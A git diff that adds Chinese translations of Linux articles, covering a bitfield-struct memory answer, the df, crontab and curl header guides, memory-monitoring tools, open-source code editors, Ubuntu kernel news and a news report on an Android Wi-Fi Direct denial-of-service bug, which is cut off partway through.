+如果有十亿个数,每个数都节省三个字节的空间,那么这么做就非常有用了。因为使用更小的空间存储要求更少的内存页,也就会产生更少的cache和TLB不命中和内存缺页(单个缺页会产生数以千万计的指令 [译者注:直译是这样,但语义说不通!])。 + +尽管上面提到的情况不足以充分利用到剩余的24位(它仅仅使用了40位部分),如果确实在剩余位中放入了有用的数据,那么使用类似下面的方法会使得这种思路就管理内存而言显得非常有用。 + +```C +struct using_gaps +{ + uint64_t var : 40; + uint64_t useful_uint16 : 16; + uint64_t char_or_bool : 8; +}; +``` + +结构体大小和对齐长度等于64位整型的大小,所以只要使用得当就不会浪费空间,比如对一个保存10亿个数的数组使用这个结构(不考虑使用指定编译器的扩展)。如果你不会用到一个8位的值,那么你可以使用一个48位和16位的值(giving a bigger overflow margin)。 + +或者以牺牲可用性为代价,把8个64位的值放入这样的结构体中(或者使用40和64的组合使得其和满足320)。当然,在这种情况下,通过代码去访问数组结构体中的元素会变得非常麻烦(尽管一种方法是实现一个operator[]在功能上还原线性数组,隐藏结构体的复杂性)。 + +###更新: + +我写了一个快速测试工具,只是为了获得位字段的开销(以及伴随位字段引用的重载操作)。由于长度限制将代码发布在gcc.godbolt.org上,在本人64位Win7上的测试结果如下: + +```TXT +运行测试的数组大小为1048576 +what alloc seq(w) seq(r) rand(w) rand(r) free +----------------------------------------------------------- +uint32_t 0 2 1 35 35 1 +uint64_t 0 3 3 35 35 1 +bad40_t 0 5 3 35 35 1 +packed40_t 0 7 4 48 49 1 + +运行测试的数组大小为16777216 +what alloc seq(w) seq(r) rand(w) rand(r) free +----------------------------------------------------------- +uint32_t 0 38 14 560 555 8 +uint64_t 0 81 22 565 554 17 +bad40_t 0 85 25 565 561 16 +packed40_t 0 151 75 765 774 16 + +运行测试的数组大小为134177228 +what alloc seq(w) seq(r) rand(w) rand(r) free +----------------------------------------------------------- +uint32_t 0 312 100 4480 4441 65 +uint64_t 0 648 172 4482 4490 130 +bad40_t 0 682 193 4573 4492 130 +packed40_t 0 1164 552 6181 6176 130 +``` + +我们看到,位字段的额外开销是微不足道的,但是当以友好的方式线性访问数据时伴随位字段引用的操作符重载产生的开销则相当显著(大概有3倍)。在另一方面,随机访问产生的开销则无足轻重。 + +这些时间表明简单的使用64位整型会更好,因为它们在整体性能上要比位字段好(尽管占用更多的内存),但是显然它们并没有考虑随着数据集增大带来的缺页开销。一旦程序内存超过RAM大小,结果可能就不一样了(未亲自考证)。 + +------ + +via:[stackoverflow](http://stackoverflow.com/questions/27705409/if-a-32-bit-integer-overflows-can-we-use-a-40-bit-structure-instead-of-a-64-bit/27705562#27705562) + +作者:[Damon][a][Michael Kohne][b] +译者:[KayGuoWhu](https://github.com/KayGuoWhu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://stackoverflow.com/users/572743/damon +[b]:http://stackoverflow.com/users/5801/michael-kohne \ No newline at end of file diff --git a/published/201502/20150121 Linux FAQs with Answers--How to check disk space on Linux with df command.md b/published/201502/20150121 Linux FAQs with Answers--How to check disk space on Linux with df command.md new file mode 100644 index 0000000000..adecdd2520 --- /dev/null +++ b/published/201502/20150121 Linux FAQs with Answers--How to check disk space on Linux with df command.md @@ -0,0 +1,157 @@ +在 Linux 下你所不知道的 df 命令的那些功能 +================================================================================ +> **问题**: 我知道在Linux上我可以用df命令来查看磁盘使用空间。你能告诉我df命令的实际例子使我可以最大限度得利用它吗? + +对于磁盘存储方面,有很多命令行或基于GUI的工具,它可以告诉你关于当前磁盘空间的使用情况。这些工具用各种人们可读的格式展示磁盘利用率的详细信息,比如易于理解的总结,详细的统计信息或直观的[可视化报告][1]。如果你只想知道不同文件系统有多少空闲的磁盘空间,那么df命令可能是你所需要的。 + +![](https://farm9.staticflickr.com/8632/15505309473_51bffec3f1_b.jpg) + +df命令可以展示任何“mounted”文件系统的磁盘利用率。该命令可以用不同的方式调用。这里有一些**有用的** df **命令例子**. + +### 用人们可读的方式展示 ### + +默认情况下,df命令用1K为块来展示磁盘空间,这看起来不是很直观。“-h”参数使df用更可读的方式打印磁盘空间(例如 100K,200M,3G)。 + + $ df -h + +---------- + + Filesystem Size Used Avail Use% Mounted on + /dev/mapper/ubuntu-root 909G 565G 299G 66% / + none 4.0K 0 4.0K 0% /sys/fs/cgroup + udev 3.9G 4.0K 3.9G 1% /dev + tmpfs 785M 1.2M 784M 1% /run + none 5.0M 0 5.0M 0% /run/lock + none 3.9G 63M 3.8G 2% /run/shm + none 100M 48K 100M 1% /run/user + /dev/sda1 228M 98M 118M 46% /boot + +### 展示Inode使用情况 ### + +当你监视磁盘使用情况时,你必须注意的不仅仅是磁盘空间还有“inode”的使用情况。在Linux中,inode是用来存储特定文件的元数据的一种数据结构,在创建一个文件系统时,inode的预先定义数量将被分配。这意味着,**一个文件系统可能耗尽空间不只是因为大文件用完了所有可用空间,也可能是因为很多小文件用完了所有可能的inode**。用“-i”选项展示inode使用情况。 + + $ df -i + +---------- + + Filesystem Inodes IUsed IFree IUse% Mounted on + /dev/mapper/ubuntu-root 60514304 1217535 59296769 3% / + none 1004417 13 1004404 1% /sys/fs/cgroup + udev 1000623 552 1000071 1% /dev + tmpfs 1004417 608 1003809 1% /run + none 1004417 11 1004406 1% /run/lock + none 1004417 288 1004129 1% /run/shm + none 1004417 28 1004389 1% /run/user + /dev/sda1 124496 346 124150 1% /boot + +### 展示磁盘总利用率 ### + +默认情况下, df命令显示磁盘的单个文件系统的利用率。如果你想知道的所有文件系统的总磁盘使用量,增加“ --total ”选项(见最下面的汇总行)。 + + $ df -h --total + +---------- + + Filesystem Size Used Avail Use% Mounted on + /dev/mapper/ubuntu-root 909G 565G 299G 66% / + none 4.0K 0 4.0K 0% /sys/fs/cgroup + udev 3.9G 4.0K 3.9G 1% /dev + tmpfs 785M 1.2M 784M 1% /run + none 5.0M 0 5.0M 0% /run/lock + none 3.9G 62M 3.8G 2% /run/shm + none 100M 48K 100M 1% /run/user + /dev/sda1 228M 98M 118M 46% /boot + total 918G 565G 307G 65% - + +### 展示文件系统类型 ### + +默认情况下,df命令不显示文件系统类型信息。用“-T”选项来添加文件系统信息到输出中。 + + $ df -T + +---------- + + Filesystem Type 1K-blocks Used Available Use% Mounted on + /dev/mapper/ubuntu-root ext4 952893348 591583292 312882844 66% / + none tmpfs 4 0 4 0% /sys/fs/cgroup + udev devtmpfs 4002492 4 4002488 1% /dev + tmpfs tmpfs 803536 1196 802340 1% /run + none tmpfs 5120 0 5120 0% /run/lock + none tmpfs 4017668 60176 3957492 2% /run/shm + none tmpfs 102400 48 102352 1% /run/user + /dev/sda1 ext2 233191 100025 120725 46% /boot + +### 包含或排除特定的文件系统类型 ### + +如果你想知道特定文件系统类型的剩余空间,用“-t ”选项。你可以多次使用这个选项来包含更多的文件系统类型。 + + $ df -t ext2 -t ext4 + +---------- + + Filesystem 1K-blocks Used Available Use% Mounted on + /dev/mapper/ubuntu-root 952893348 591583380 312882756 66% / + /dev/sda1 233191 100025 120725 46% /boot + +排除特定的文件系统类型,用“-x ”选项。同样,你可以用这个选项多次来排除多种文件系统类型。 + + $ df -x tmpfs + +### 显示一个具体的挂载点磁盘使用情况 ### + +如果你用df指定一个挂载点,它将报告挂载在那个地方的文件系统的磁盘使用情况。如果你指定一个普通文件(或一个目录)而不是一个挂载点,df将显示包含这个文件(或目录)的文件系统的磁盘利用率。 + + $ df / + +---------- + + Filesystem 1K-blocks Used Available Use% Mounted on + /dev/mapper/ubuntu-root 952893348 591583528 312882608 66% / + +---------- + + $ df /home/dev + +---------- + + Filesystem 1K-blocks Used Available Use% Mounted on + /dev/mapper/ubuntu-root 952893348 591583528 312882608 66% / + +### 显示虚拟文件系统的信息 ### + +如果你想显示所有已经存在的文件系统(包括虚拟文件系统)的磁盘空间信息,用“-a”选项。这里,虚拟文件系统是指没有相对应的物理设备的假文件系统,例如,tmpfs,cgroup虚拟文件系统或FUSE文件安系统。这些虚拟文件系统大小为0,不用“-a”选项将不会被报告出来。 + + $ df -a + +---------- + + Filesystem 1K-blocks Used Available Use% Mounted on + /dev/mapper/ubuntu-root 952893348 591578716 312887420 66% / + proc 0 0 0 - /proc + sysfs 0 0 0 - /sys + none 4 0 4 0% /sys/fs/cgroup + none 0 0 0 - /sys/fs/fuse/connections + none 0 0 0 - /sys/kernel/debug + none 0 0 0 - /sys/kernel/security + udev 4002492 4 4002488 1% /dev + devpts 0 0 0 - /dev/pts + tmpfs 803536 1196 802340 1% /run + none 5120 0 5120 0% /run/lock + none 4017668 58144 3959524 2% /run/shm + none 102400 48 102352 1% /run/user + none 0 0 0 - /sys/fs/pstore + cgroup 0 0 0 - /sys/fs/cgroup/cpuset + cgroup 0 0 0 - /sys/fs/cgroup/hugetlb + /dev/sda1 233191 100025 120725 46% /boot + vmware-vmblock 0 0 0 - /run/vmblock-fuse + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/check-disk-space-linux-df-command.html + +译者:[mtunique](https://github.com/mtunique) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/visualize-disk-usage-linux.html diff --git a/published/201502/20150122 Linux FAQs with Answers--How to add a cron job on Linux.md b/published/201502/20150122 Linux FAQs with Answers--How to add a cron job on Linux.md new file mode 100644 index 0000000000..70326e249f --- /dev/null +++ b/published/201502/20150122 Linux FAQs with Answers--How to add a cron job on Linux.md @@ -0,0 +1,66 @@ +Linux 有问必答: 如何在Linux中加入cron任务 +================================================================================ +> **提问**: 我想在我的Linux中安排一个计划任务,该任务在固定时间周期性地运行。我该如何在Linux中添加一个cron任务? + +cron是Linux中默认的计划任务。使用cron,你可以安排一个计划(比如:命令或者shell脚本)周期性地运行或者在指定的分钟、小时、天、周、月等特定时间运行。cron在你安排不同的常规维护任务时是很有用的,比如周期性地备份、日志循环、检查文件系统、监测磁盘空间等等。 + +### 从命令行中添加cron任务 ### + +要添加cron任务,你可以使用称为crontab的命令行工具。 + +输入下面的命令会创建一个以当前用户运行的新cron任务。 + + $ crontab -e + +如果你想要以其他用户运行cron任务,输入下面的命令。 + + $ sudo crontab -u -e + +你将会看见一个文本编辑窗口,这里你可以添加或者编辑cron任务。默认使用nono编辑器。 + +![](https://farm9.staticflickr.com/8586/16200331362_1385807ac0_b.jpg) + +每个cron任务的格式如下。 + + <分钟> <小时> <日> <月> <星期> <命令> + +前5个元素定义了任务的计划,最后一个元素是命令或者脚本的完整路径。 + +![](https://farm8.staticflickr.com/7472/16199272841_dffe0b2873_b.jpg) + +下面是一些cron任务示例。 + +- **\* * * * * /home/dan/bin/script.sh**: 每分钟运行。 +- **0 * * * * /home/dan/bin/script.sh**: 每小时运行。 +- **0 0 * * * /home/dan/bin/script.sh**: 每天零点运行。 +- **0 9,18 * * * /home/dan/bin/script.sh**: 在每天的9AM和6PM运行。 +- **0 9-18 * * * /home/dan/bin/script.sh**: 在9AM到6PM的每个小时运行。 +- **0 9-18 * * 1-5 /home/dan/bin/script.sh**: 周一到周五的9AM到6PM每小时运行。 +- **\*/10 * * * * /home/dan/bin/script.sh**: 每10分钟运行。 + +一旦完成上面的设置步骤后,按下Ctrl+X来保存并退出编辑器。此时,新增的计划任务应该已经激活了。 + +要查看存在的计划任务,使用下面的命令: + + $ crontab -l + +### 从GUI添加计划任务 ### + +如果你在Linux桌面环境中,你可以使用crontab的更加友好的GUI前端来添加或者添加一个cron任务。 + +在Gnome桌面中,有一个Gnome Schedule(gnome-schedule包)。 + +![](https://farm8.staticflickr.com/7484/16015054699_d96f0e9b6a_c.jpg) + +在KDE桌面中,有一个Task Scheduler(kcron包)。 + +![](https://farm8.staticflickr.com/7473/16175298266_825376c901_c.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/add-cron-job-linux.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201502/20150122 Linux FAQs with Answers--How to check memory usage on Linux.md b/published/201502/20150122 Linux FAQs with Answers--How to check memory usage on Linux.md new file mode 100644 index 0000000000..876ee88404 --- /dev/null +++ b/published/201502/20150122 Linux FAQs with Answers--How to check memory usage on Linux.md @@ -0,0 +1,113 @@ +Linux有问必答:如何检查Linux的内存使用状况 +================================================================================ + +>**问题**:我想要监测Linux系统的内存使用状况。有哪些可用的图形界面或者命令行工具来检查当前内存使用情况? + +当涉及到Linux系统性能优化的时候,物理内存是一个最重要的因素。自然的,Linux提供了丰富的选择来监测珍贵的内存资源的使用情况。不同的工具,在监测粒度(例如:全系统范围,每个进程,每个用户),接口方式(例如:图形用户界面,命令行,ncurses)或者运行模式(交互模式,批量处理模式)上都不尽相同。 + +下面是一个可供选择的,但并不全面的图形或命令行工具列表,这些工具用来检查Linux平台中已用和可用的内存。 + +### 1. /proc/meminfo ### + +一种最简单的方法是通过“/proc/meminfo”来检查内存使用状况。这个动态更新的虚拟文件事实上是诸如free,top和ps这些与内存相关的工具的信息来源。从可用/闲置物理内存数量到等待被写入缓存的数量或者已写回磁盘的数量,只要是你想要的关于内存使用的信息,“/proc/meminfo”应有尽有。特定进程的内存信息也可以通过“/proc/\/statm”和“/proc/\/status”来获取。 + + $ cat /proc/meminfo + +![](https://farm8.staticflickr.com/7483/15989497899_bb6afede11_b.jpg) + +### 2. atop ### + +atop命令是用于终端环境的基于ncurses的交互式的系统和进程监测工具。它展示了动态更新的系统资源摘要(CPU, 内存, 网络, 输入/输出, 内核),并且用醒目的颜色把系统高负载的部分以警告信息标注出来。它同样提供了类似于top的线程(或用户)资源使用视图,因此系统管理员可以找到哪个进程或者用户导致的系统负载。内存统计报告包括了总计/闲置内存,缓存的/缓冲的内存和已提交的虚拟内存。 + + $ sudo atop + +![](https://farm8.staticflickr.com/7552/16149756146_893773b84c_b.jpg) + +### 3. free ### + +free命令是一个用来获得内存使用概况的快速简单的方法,这些信息从“/proc/meminfo”获取。它提供了一个快照,用于展示总计/闲置的物理内存和系统交换区,以及已使用/闲置的内核缓冲区。 + + $ free -h + +![](https://farm8.staticflickr.com/7531/15988117988_ba8c6b7b63_b.jpg) + +### 4. GNOME System Monitor ### + +GNOME System Monitor 是一个图形界面应用,它展示了包括CPU,内存,交换区和网络在内的系统资源使用率的较近历史信息。它同时也可以提供一个带有CPU和内存使用情况的进程视图。 + + $ gnome-system-monitor + +![](https://farm8.staticflickr.com/7539/15988118078_279f0da494_c.jpg) + +### 5. htop ### + +htop命令是一个基于ncurses的交互式的进程视图,它实时展示了每个进程的内存使用情况。它可以报告所有运行中进程的常驻内存大小(RSS)、内存中程序的总大小、库大小、共享页面大小和脏页面大小。你可以横向或者纵向滚动进程列表进行查看。 + + $ htop + +![](https://farm9.staticflickr.com/8236/8599814378_de071de408_c.jpg) + +### 6. KDE System Monitor ### + +就像GNOME桌面拥有GNOME System Monitor一样,KDE桌面也有它自己的对口应用:KDE System Monitor。这个工具的功能与GNOME版本极其相似,也就是说,它同样展示了一个关于系统资源使用情况,以及带有每个进程的CPU/内存消耗情况的实时历史记录。 + + $ ksysguard + +![](https://farm8.staticflickr.com/7479/15991397329_ec5d786ffd_c.jpg) + +### 7. memstat ### + +memstat工具对于识别正在消耗虚拟内存的可执行部分、进程和共享库非常有用。给出一个进程识别号,memstat即可识别出与之相关联的可执行部分、数据和共享库究竟使用了多少虚拟内存。 + + $ memstat -p + +![](https://farm8.staticflickr.com/7518/16175635905_1880e50055_b.jpg) + +### 8. nmon ### + +nmon工具是一个基于ncurses系统基准测试工具,它能够以交互方式监测CPU、内存、磁盘I/O、内核、文件系统以及网络资源。对于内存使用状况而言,它能够展示像总计/闲置内存、交换区、缓冲的/缓存的内存,虚拟内存页面换入换出的统计,所有这些都是实时的。 + + $ nmon + +![](https://farm9.staticflickr.com/8648/15989760117_30f62f4aba_b.jpg) + +### 9. ps ### + +ps命令能够实时展示每个进程的内存使用状况。内存使用报告里包括了 %MEM (物理内存使用百分比), VSZ (虚拟内存使用总量), 和 RSS (物理内存使用总量)。你可以使用“--sort”选项来对进程列表排序。例如,按照RSS降序排序: + + $ ps aux --sort -rss + +![](https://farm9.staticflickr.com/8602/15989881547_ca40839c19_c.jpg) + +### 10. smem ### + +[smem][1]命令允许你测定不同进程和用户的物理内存使用状况,这些信息来源于“/proc”目录。它利用“按比例分配大小(PSS)”指标来精确量化Linux进程的有效内存使用情况。内存使用分析结果能够输出为柱状图或者饼图类的图形化图表。 + + $ sudo smem --pie name -c "pss" + +![](https://farm8.staticflickr.com/7466/15614838428_eed7426cfe_c.jpg) + +### 11. top ### + +top命令提供了一个运行中进程的实时视图,以及特定进程的各种资源使用统计信息。与内存相关的信息包括 %MEM (内存使用率), VIRT (虚拟内存使用总量), SWAP (换出的虚拟内存使用量), CODE (分配给代码执行的物理内存数量), DATA (分配给非执行的数据的物理内存数量), RES (物理内存使用总量; CODE+DATA), 和 SHR (有可能与其他进程共享的内存数量)。你能够基于内存使用情况或者大小对进程列表进行排序。 + +![](https://farm8.staticflickr.com/7464/15989760047_eb8d51d9f2_c.jpg) + +### 12. vmstat ### + +vmstat命令行工具显示涵盖了CPU、内存、中断和磁盘I/O在内的各种系统活动的瞬时和平均统计数据。对于内存信息而言,命令不仅仅展示了物理内存使用情况(例如总计/已使用内存和缓冲的/缓存的内存),还同样展示了虚拟内存统计数据(例如,内存页的换入/换出,虚拟内存页的换入/换出) + + $ vmstat -s + +![](https://farm9.staticflickr.com/8582/15988236860_3f142008d2_b.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/check-memory-usage-linux.html + +译者:[Ping](https://github.com/mr-ping) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/visualize-memory-usage-linux.html \ No newline at end of file diff --git a/published/201502/20150122 Linux FAQs with Answers--How to set a custom HTTP header in curl.md b/published/201502/20150122 Linux FAQs with Answers--How to set a custom HTTP header in curl.md new file mode 100644 index 0000000000..145ef9168e --- /dev/null +++ b/published/201502/20150122 Linux FAQs with Answers--How to set a custom HTTP header in curl.md @@ -0,0 +1,44 @@ +Linux有问必答:如何在curl中设置自定义的HTTP头 +================================================================================ +> **问题**:我正尝试使用curl命令获取一个URL,但除此之外我还想在传出的HTTP请求中设置一些自定义的头部字段。我如何能够在curl中使用自定义的HTTP头呢? + +curl是一个强大的命令行工具,它可以通过网络将信息传递给服务器或者从服务器获取数据。他支持很多的传输协议,尤其是HTTP/HTTPS以及其他诸如FTP/FTPS, RTSP, POP3/POP3S, SCP, IMAP/IMAPS协议等。当你使用curl向一个URL发送HTTP请求的时候,它会使用一个默认只包含必要的头部字段(如:User-Agent, Host, and Accept)的HTTP头。 + +![](https://farm8.staticflickr.com/7568/16225032086_fb8f1c508a_b.jpg) + +在一些个例中,或许你想要在一个HTTP请求中覆盖掉默认的HTTP头或者添加一个新的自定义头部字段。例如,你或许想要重写“HOST”字段来测试一个[负载均衡][1],或者通过重写"User-Agent"字符串来假冒特定浏览器以解决一些访问限制的问题。 + +为了解决所有这些问题,curl提供了一个简单的方法来完全控制传出HTTP请求的HTTP头。你需要的这个参数是“-H” 或者 “--header”。 + +为了定义多个HTTP头部字段,"-H"选项可以在curl命令中被多次指定。 + +例如:以下命令设置了3个HTTP头部字段。也就是说,重写了“HOST”字段,并且添加了两个字段("Accept-Language" 和 "Cookie") + + $ curl -H 'Host: 157.166.226.25' -H 'Accept-Language: es' -H 'Cookie: ID=1234' http://cnn.com + +![](https://farm8.staticflickr.com/7520/16250111432_de39638ec0_c.jpg) + +对于"User-Agent", "Cookie", "Host"这类标准的HTTP头部字段,通常会有另外一种设置方法。curl命令提供了特定的选项来对这些头部字段进行设置: + +- **-A (or --user-agent)**: 设置 "User-Agent" 字段. +- **-b (or --cookie)**: 设置 "Cookie" 字段. +- **-e (or --referer)**: 设置 "Referer" 字段. + +例如,以下两个命令是等效的。这两个命令同样都对HTTP头的"User-Agent"字符串进行了更改。 + + $ curl -H "User-Agent: my browser" http://cnn.com + $ curl -A "my browser" http://cnn.com + +wget是另外一个类似于curl,可以用来获取URL的命令行工具。并且wget也一样允许你使用一个自定义的HTTP头。点击[这里][2]查看wget命令的详细信息。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/custom-http-header-curl.html + +译者:[Ping](http://mr-ping.com) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/haproxy-http-load-balancer-linux.html +[2]:http://xmodulo.com/how-to-use-custom-http-headers-with-wget.html \ No newline at end of file diff --git a/published/201502/20150125 4 Best Modern Open Source Code Editors For Linux.md b/published/201502/20150125 4 Best Modern Open Source Code Editors For Linux.md new file mode 100644 index 0000000000..6072c2b759 --- /dev/null +++ b/published/201502/20150125 4 Best Modern Open Source Code Editors For Linux.md @@ -0,0 +1,87 @@ +4个最流行的Linux平台开源代码编辑器 +=== + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/Best_Open_Source_Editors.jpeg) + +寻找**Linux平台最棒的代码编辑器**?如果你询问那些很早就玩Linux的人,他们会回答是Vi, Vim, Emacs, Nano等。但是,我今天不讨论那些。我将谈论一些新时代尖端、漂亮、时髦而且十分强大, 功能丰富的**最好的Linux平台开源代码编辑器**,它们将会提升你的编程经验。 + +### Linux平台最时髦的开源代码编辑器 ### + +我使用Ubuntu作为我的主桌面,所以我提供的安装说明是基于Ubuntu的发行版。但是这并不意味着本文列表就是**Ubuntu最好的文本编辑器**,因为本列表是适用于任何Linux发行版。而且,列表的介绍顺序并没有特定的优先级别。 + +#### Brackets #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/brackets_UI.jpeg) + +[Brackets][1]是出自[Adobe][2]的一个开源代码编辑器。它专门关注web设计者的需求,内置支持HTML, CSS和Java Script。它轻量级,但却十分强大,提供在线编辑和实时预览。而且,为了你能更好地体验Brackets,你可以使用许多可用的插件。 + +为了[在Ubuntu][3],以及其它基于Ubuntu的发行版,诸如Linux Minit上安装Brackets,你可以使用这个非官方的PPA源: + + sudo add-apt-repository ppa:webupd8team/brackets + sudo apt-get update + sudo apt-get install brackets + +其他的Linux发行版本,你可以通过下载源代码或相应Linux, OS X和Windows的二进制文件,进行安装。 + +- [下载Brackets源码和二进制文件][5] + +#### Atom #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/08/Atom_Editor.jpeg) + +[Atom][5]是为程序员准备的另一个时尚开源代码编辑器。Atom由Github开发,被誉为“21世纪可破解的文本编辑器”。Atom的界面和Sublime Text编辑器十分相似。Sublime Text是一个十分流行但闭源的文本编辑器。 + +Atom最近已经发布了 .deb 和 .rpm包,所以在Debian和基于Fedora的Linux版本上安装很简单。当然,你也可以获取它的源代码。 + +- [下载Atom .deb][6] +- [下载Atom .rpm][7] +- [获取Atom源代码][8] + +#### Lime Text ### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/08/LimeTextEditor.jpeg) + +如果你喜欢Sublime Text,但是你对它的闭源十分反感。别担心,我们有一个[Sublime Text的开源克隆][9],叫做[Lime Text][10]。它基于Go, HTML和QT构造。说它是Sublime Text的克隆,背后原因是Sublime Text2仍有许多bug,而且Sublime Text3到目前为止仍处于测试版本。Sublime Text在开发过程中的bug是否修复,外界并不知情。 + +所以,开源爱好者们,你们可以很开心地通过下面的连接获得Lime Text的源码: + +- [获取Lime Text源码][11] + +#### Light Table #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/Light_Table.jpeg) + +被誉为“下一代的代码编辑器”,[Light Table][12]是另一个时髦,功能丰富的开源编辑器,它更像是一个IDE,而非仅仅是一个文本编辑器。并且,有许多可以提高其性能的扩展方法。内联评价将是你会爱上它的原因。你一定要试用一下看,这样你才会体会它的实用之处。 + +- [获取Light Table的源码][13] + +### 你的选择是什么? ### + +在Linux平台,我们不能只局限于这四种代码编辑器。这份列表仅介绍了一些时髦的,可供程序员使用的编辑器。当然,你也有许多其他的选择,比如[Notepad++的替代品Notepadqq][14]或者[SciTE][15]等等。那么,文中这四个编辑器,你最喜欢哪个呢? + +--- + +via: http://itsfoss.com/best-modern-open-source-code-editors-for-linux/ + +作者:[Abhishek][a] +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://brackets.io/ +[2]:http://www.adobe.com/ +[3]:http://itsfoss.com/install-brackets-ubuntu/ +[4]:https://github.com/adobe/brackets/releases +[5]:https://atom.io/ +[6]:https://atom.io/download/deb +[7]:https://atom.io/download/rpm +[8]:https://github.com/atom/atom/blob/master/docs/build-instructions/linux.md +[9]:http://itsfoss.com/lime-text-open-source-alternative/ +[10]:http://limetext.org/ +[11]:https://github.com/limetext/lime +[12]:http://lighttable.com/ +[13]:https://github.com/LightTable/LightTable +[14]:http://itsfoss.com/notepadqq-notepad-for-linux/ +[15]:http://itsfoss.com/scite-the-notepad-for-linux/ diff --git a/published/201502/20150126 Ubuntu 15.04 to Integrate Linux Kernel 3.19 Branch Soon.md b/published/201502/20150126 Ubuntu 15.04 to Integrate Linux Kernel 3.19 Branch Soon.md new file mode 100644 index 0000000000..7fff32e713 --- /dev/null +++ b/published/201502/20150126 Ubuntu 15.04 to Integrate Linux Kernel 3.19 Branch Soon.md @@ -0,0 +1,33 @@ +Ubuntu 15.04即将整合Linux内核3.19分支 +---- +*Ubuntu已经开始整合一个新的内核分支* + +![Ubuntu 15.04 shortcuts](http://i1-news.softpedia-static.com/images/news2/Ubuntu-15-04-to-Integrate-Linux-Kernel-3-19-Branch-Soon-471121-2.jpg) + +Linux内核是一个发行版中最重要的组成部分,Ubuntu用户很想知道哪个版本将用于预计几个月后就会发布的15.04分支的稳定版中。 + +Ubuntu和Linux内核开发周期并不同步,所以很难预测最终哪个版本将应用在Ubuntu 15.04中。目前,Ubuntu 15.04(长尾黑颚猴)使用的是Linux内核3.18,但是开发者们已经准备应用3.19分支了。 + +“我们的Vivid的内核仍然基于v3.18.2的上游稳定内核,但是我们很快将重新基于v3.18.3内核开发。我们也将把我们的非稳定版分支的基础变更到v3.19-rc5,然后上传到我们的团队PPA。”Canonical的Joseph Salisbury[说](1)。 + +Linux内核3.19仍然处于开发阶段,预计还要几个星期才会出稳定版本,但是有充足的时间将它加入到Ubuntu中并测试。但是不可能等到3.20分支了,举个例子,即使它能在4月23日前发布。 + +你现在就可以从Softpedia[下载Ubuntu 15.04](2),试用一下。这是一个每日构建版本,会包含发行版中目前已经做出的所有改善。 + +-------------------------------------------------------------------------------- + +via:http://linux.softpedia.com/blog/Ubuntu-15-04-to-Integrate-Linux-Kernel-3-19-Branch-Soon-471121.shtml + +本文发布时间:25 Jan 2015, 20:39 GMT + +作者:[Silviu Stahie][a] + +译者:[zpl1025](https://github.com/zpl1025) + +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:https://lists.ubuntu.com/archives/ubuntu-devel/2015-January/038644.html +[2]:http://linux.softpedia.com/get/Linux-Distributions/Ubuntu-Vivid-Vervet-103651.shtml diff --git a/published/201502/20150127 Bug in Wi-Fi Direct Android Implementation Causes Denial of Service.md b/published/201502/20150127 Bug in Wi-Fi Direct Android Implementation Causes Denial of Service.md new file mode 100644 index 0000000000..2b1b9d6631 --- /dev/null +++ b/published/201502/20150127 Bug in Wi-Fi Direct Android Implementation Causes Denial of Service.md @@ -0,0 +1,47 @@ +Android 中的 Wi-Fi 直连方式的 Bug 会导致拒绝服务 +---- + +*Google标记这个问题为低严重性,并不急着修复* + +![Wi-Fi Direct glitch crashes Android](http://i1-news.softpedia-static.com/images/news2/Bug-In-Wi-Fi-Direct-Android-Implementation-Causes-Denial-of-Service-471299-2.jpg) + +Android处理Wi-Fi直连连接的方式中的一个漏洞可以导致在搜索连接节点的时候所连接的设备重启,这个节点可能是其他手机,摄像头,游戏设备,电脑或是打印机等任何设备。 + +Wi-Fi直连技术允许无线设备之间直接建立通信,而不用加入到本地网络中。 + +###安全公司致力于协调修复这个问题 + +这个漏洞允许攻击者发送一个特定的修改过的802.11侦测响应帧给设备,从而因为WiFi监控类中的一个未处理的异常导致设备重启。 + +Core Security通过自己的CoreLabs团队发现了这个瑕疵(CVE-2014-0997),早在2014年9月就汇报给了Google。Google确认了这个问题,却把它列为低严重性,并不提供修复时间表。 + +每次Core Security联系Android安全组要求提供修复时间表的时候都会收到同样的答复。最后一次答复是1月20日,意味着这么长的时间中都没有补丁。在星期一的时候,这家安全公司公布了他们的发现。 + +这家安全公司建立了一个[概念攻击][1]来展示他们研究结果的有效性。 + +根据这个漏洞的技术细节,一些Android设备在收到一个错误的wpa_supplicant事件后可能会进入拒绝服务状态,这些事件让无线驱动和Android平台框架之间的接口有效。 + +###Google并不着急解决这个问题 + +Android安全组对于这个问题的放松态度可能是基于这个原因:这种拒绝服务状态只发生在扫描节点这一小段时间。 + 